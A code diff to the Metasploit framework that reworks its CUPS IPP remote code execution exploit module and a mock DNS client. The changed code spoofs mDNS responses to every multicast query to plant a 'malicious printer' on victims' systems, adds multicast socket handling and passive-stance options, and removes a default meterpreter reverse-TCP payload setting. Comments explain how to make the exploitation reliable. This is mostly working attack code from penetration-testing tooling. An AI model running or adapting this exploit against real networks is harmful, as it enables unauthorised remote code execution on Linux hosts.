diff --git a/lib/rex/proto/dns/server.rb b/lib/rex/proto/dns/server.rb index a324b11b3b9b..03cb63a45517 100644 --- a/lib/rex/proto/dns/server.rb +++ b/lib/rex/proto/dns/server.rb @@ -9,8 +9,11 @@ module DNS class Server class MockDnsClient + extend Forwardable attr_reader :peerhost, :peerport, :srvsock + def_delegators :@srvsock, :localhost, :localport, :sendto + # # Create mock DNS client # diff --git a/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb b/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb index 1ccdf2d83c6a..90013c72fa9b 100644 --- a/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb +++ b/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb @@ -8,6 +8,8 @@ class MetasploitModule < Msf::Exploit::Remote # Accessor for IPP HTTP service attr_accessor :service2 + MULTICAST_ADDR = '224.0.0.251' + # Define IPP constants module TagEnum UNSUPPORTED_VALUE = 0x10 @@ -77,6 +79,21 @@ module SectionEnum UNSUPPORTED = 0x05 end + class MulticastComm < Rex::Socket::Comm::Local + # hax by spencer to set the socket options for handling multicast using the native APIs (as opposed to Rex::Socket) + # without this in place, the module won't work on a system with multiple network interfaces + def self.create_by_type(param, type, proto = 0) + socket = super + socket.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) + socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_MULTICAST_TTL, 255) + + membership = IPAddr.new(MULTICAST_ADDR).hton + IPAddr.new('0.0.0.0').hton + socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, membership) + socket + end + + end + def initialize(info = {}) super( update_info( @@ -133,20 +150,10 @@ def initialize(info = {}) 'Platform' => %w[linux unix], 'Arch' => [ARCH_CMD], 'DefaultOptions' => { - 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', 'FETCH_COMMAND' => 'WGET', - 'RPORT' => 443, - 'SSL' => true, - 'FETCH_WRITABLE_DIR' => '/var/tmp', - # Three hours by default, but can be modified for longer or shorter listening periods - 'WfsDelay' => 10_800 + 'FETCH_WRITABLE_DIR' => '/var/tmp' }, - 'Actions' => [ - ['Service', { 'Description' => 'Run mDNS service' }] - ], - 'PassiveActions' => [ - 'Service' - ], + 'Stance' => Msf::Exploit::Stance::Passive, 'DefaultAction' => 'Service', 'DefaultTarget' => 0, 'DisclosureDate' => '2024-09-26', @@ -171,41 +178,48 @@ def initialize(info = {}) register_options( [ - OptString.new('PrinterName', [true, 'The printer name', 'PrintToPDF']), + OptString.new('PrinterName', [true, 'The printer name', 'PrintToPDF'], regex: /^[a-zA-Z0-9_ ]+$/), OptAddress.new('SRVHOST', [true, 'The local host to listen on (cannot be 0.0.0.0)']), OptPort.new('SRVPORT', [true, 'The local port for the IPP service', 7575]) ] ) end + def validate + super + + if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 + raise Msf::OptionValidateError.new({ 'SRVHOST' => 'The SRVHOST option must be set to a routable IP address.' }) + end + + # Rex::Socket does not support forwarding UDP multicast sockets right now so raise an exception if that's configured + unless _determine_server_comm(datastore['SRVHOST']) == Rex::Socket::Comm::Local + raise Msf::OptionValidateError.new({ 'SRVHOST' => 'SRVHOST can not be forwarded via a session.' }) + end + end + # # Wrapper for service execution and cleanup # def exploit - if datastore['SRVHOST'] == '0.0.0.0' - fail_with(Failure::BadConfig, 'SRVHOST must be set to a specific address, not 0.0.0.0') - end @printer_uuid = SecureRandom.uuid start_mdns_service start_ipp_service print_status("Services started. Printer '#{datastore['PrinterName']}' is being advertised") - print_status("The exploit will continue listening for the next #{datastore['WfsDelay']} seconds") service.wait rescue Rex::BindFailed => e print_error "Failed to bind to port: #{e.message}" end # mDNS code below - def start_mdns_service - comm = _determine_server_comm(bindhost) self.service = Rex::ServiceManager.start( Rex::Proto::MDNS::Server, '0.0.0.0', 5353, false, nil, - comm, + MulticastComm, { 'Msf' => framework, 'MsfExploit' => self } ) @@ -216,7 +230,7 @@ def start_mdns_service on_send_mdns_response(cli, data) end rescue ::Errno::EACCES => e - raise Rex::BindFailed.new(e.message) + raise Rex::BindFailed, e.message end def create_ipp_response(version_major, version_minor, request_id) @@ -355,23 +369,14 @@ def create_ipp_response(version_major, version_minor, request_id) # IPP servers communicate using a binary protocol via HTTP # def start_ipp_service - comm = _determine_server_comm(datastore['SRVHOST']) - - # If the IPP web service is still present from a previous run, initialize state - if service2 - service2.remove_resource('/ipp/print') - service2.stop - self.service2 = nil - end - # Start the IPP web service self.service2 = Rex::ServiceManager.start( Rex::Proto::Http::Server, - datastore['SRVPORT'], - datastore['SRVHOST'], + srvport, + srvhost, false, { 'Msf' => framework, 'MsfExploit' => self }, - comm + Rex::Socket::Comm::Local ) # Register a route for queries to the printer @@ -413,14 +418,14 @@ def start_ipp_service rescue StandardError => e vprint_error('An error occurred while processing an IPP request') vprint_error("IPP Error is #{e.class} - #{e.message}") - vprint_error("#{e.backtrace.join("\n")}") + vprint_error(e.backtrace.join("\n").to_s) raise e end, 'Path' => '/ipp/print') - print_status("IPP service started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") + print_status("IPP service started on #{Rex::Socket.to_authority(srvhost, srvport)}") rescue Rex::BindFailed => e - vprint_error("Failed to bind IPP web service to #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") + vprint_error("Failed to bind IPP web service to #{Rex::Socket.to_authority(srvhost, srvport)}") raise e end @@ -491,106 +496,99 @@ def on_dispatch_mdns_request(cli, data) # However, that requires the victim to search for new printers, which doesn't happen on most systems during a print dialog (it requires Settings->Printers->"Add Printer" on Ubuntu) # Also, different distributions seem to have different flows for that, which made the approach unreliable # So, instead of that, we just spray responses to every single mDNS query within the multicast domain to automatically populate the victim's printer list with our malicious printer - req.question.each do |_question| - # PTR record - req.add_answer(Dnsruby::RR.create( - name: '_ipp._tcp.local.', - type: 'PTR', - # Keeping TTL low because ghost records from previous module runs will hang the Linux printer selection window for ~30 seconds, impeding exploitation - # Since we're spraying advertisements in response to everything, low TTL shouldn't be an issue - ttl: 30, - domainname: "#{ipp_printer_name}." - )) - # A record for our printer - # All of these answers seem to need to be additional record answers, not just answers - req.add_additional(Dnsruby::RR.create( - name: "#{printer_name_no_space}.local.", - type: 'A', - ttl: 30, - # The IP address of our malicious HTTP IPP service - address: datastore['SRVHOST'] - )) - - # SRV record - req.add_additional(Dnsruby::RR.create( - name: "#{ipp_printer_name}.", - type: 'SRV', - ttl: 30, - priority: 0, - weight: 0, - # The port of our malicious HTTP IPP service - port: datastore['SRVPORT'], - target: "#{printer_name_no_space}.local." - )) - - # TXT record - req.add_additional(Dnsruby::RR.create( - name: "#{ipp_printer_name}.", - type: 'TXT', - ttl: 30 - ).tap do |rr| - rr.strings = [ - 'txtvers=1', - 'qtotal=1', - 'rp=ipp/print', - "ty=#{printer_name}", - 'pdl=application/postscript,application/pdf', - # The "adminurl" value may or may not be queried, depending on the victim type - # Points to our malicious HTTP IPP service - "adminurl=http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}", - 'priority=0', - 'color=T', - 'duplex=T', - # Unique UUID to avoid printer collision from multiple runs with the same configuration - "UUID=#{@printer_uuid}" - ] - end) - - # NSEC record, seems to be required, should be additional answer type - req.add_additional(Dnsruby::RR.create( - name: "#{ipp_printer_name}.", - type: 'NSEC', - ttl: 30, - next_domain: "#{ipp_printer_name}.", - types: 'AAAA' - )) - - # Indicate our mDNS message is a query response - req.header.qr = 1 - # In response messages for Multicast domains, the Authoritative Answer bit MUST be set to one - # https://datatracker.ietf.org/doc/html/rfc6762 - req.header.aa = 1 - - # Clear questions and update counts for our response - req.question.clear - req.update_counts - - # Encode and send response - response_data = Packet.generate_response(req).encode - - service.send_response(cli, response_data) - - # Avoid responding a bunch of times for each query - break - - end + return unless req.question.first + + # PTR record + req.add_answer(Dnsruby::RR.create( + name: '_ipp._tcp.local.', + type: 'PTR', + # Keeping TTL low because ghost records from previous module runs will hang the Linux printer selection window for ~30 seconds, impeding exploitation + # Since we're spraying advertisements in response to everything, low TTL shouldn't be an issue + ttl: 30, + domainname: "#{ipp_printer_name}." + )) + # A record for our printer + # All of these answers seem to need to be additional record answers, not just answers + req.add_additional(Dnsruby::RR.create( + name: "#{printer_name_no_space}.local.", + type: 'A', + ttl: 30, + # The IP address of our malicious HTTP IPP service + address: datastore['SRVHOST'] + )) + + # SRV record + req.add_additional(Dnsruby::RR.create( + name: "#{ipp_printer_name}.", + type: 'SRV', + ttl: 30, + priority: 0, + weight: 0, + # The port of our malicious HTTP IPP service + port: datastore['SRVPORT'], + target: "#{printer_name_no_space}.local." + )) + + # TXT record + req.add_additional(Dnsruby::RR.create( + name: "#{ipp_printer_name}.", + type: 'TXT', + ttl: 30 + ).tap do |rr| + rr.strings = [ + 'txtvers=1', + 'qtotal=1', + 'rp=ipp/print', + "ty=#{printer_name}", + 'pdl=application/postscript,application/pdf', + # The "adminurl" value may or may not be queried, depending on the victim type + # Points to our malicious HTTP IPP service + "adminurl=http://#{Rex::Socket.to_authority(srvhost, srvport)}", + 'priority=0', + 'color=T', + 'duplex=T', + # Unique UUID to avoid printer collision from multiple runs with the same configuration + "UUID=#{@printer_uuid}" + ] + end) + + # NSEC record, seems to be required, should be additional answer type + req.add_additional(Dnsruby::RR.create( + name: "#{ipp_printer_name}.", + type: 'NSEC', + ttl: 30, + next_domain: "#{ipp_printer_name}.", + types: 'AAAA' + )) + + # Indicate our mDNS message is a query response + req.header.qr = 1 + # In response messages for Multicast domains, the Authoritative Answer bit MUST be set to one + # https://datatracker.ietf.org/doc/html/rfc6762 + req.header.aa = 1 + + # Clear questions and update counts for our response + req.question.clear + req.update_counts + + # Encode and send response + response_data = Packet.generate_response(req).encode + + service.send_response(cli, response_data) end # # Creates Proc to handle outbound responses # def on_send_mdns_response(cli, data) - # This peerhost reassign is really clunky, but I struggled to get Metasploit to associate an existing request from a client with a multicast response addr any other way - # Unfortunately, I believe multicast traffic can't be tunnelled through Meterpreter agents, so this exploit will not work over pivots - cli.instance_variable_set(:@peerhost, '224.0.0.251') - # Log to console in VERBOSE mode, then write response - vprint_status("Sending response via #{Rex::Socket.to_authority(cli.peerhost, cli.peerport)}") + vprint_status("Sending response to #{Rex::Socket.to_authority(cli.peerhost, cli.peerport)}") cli.write(data) end def cleanup super + if service2 # Remove the IPP resource before stopping the HTTP service service2.remove_resource('/ipp/print')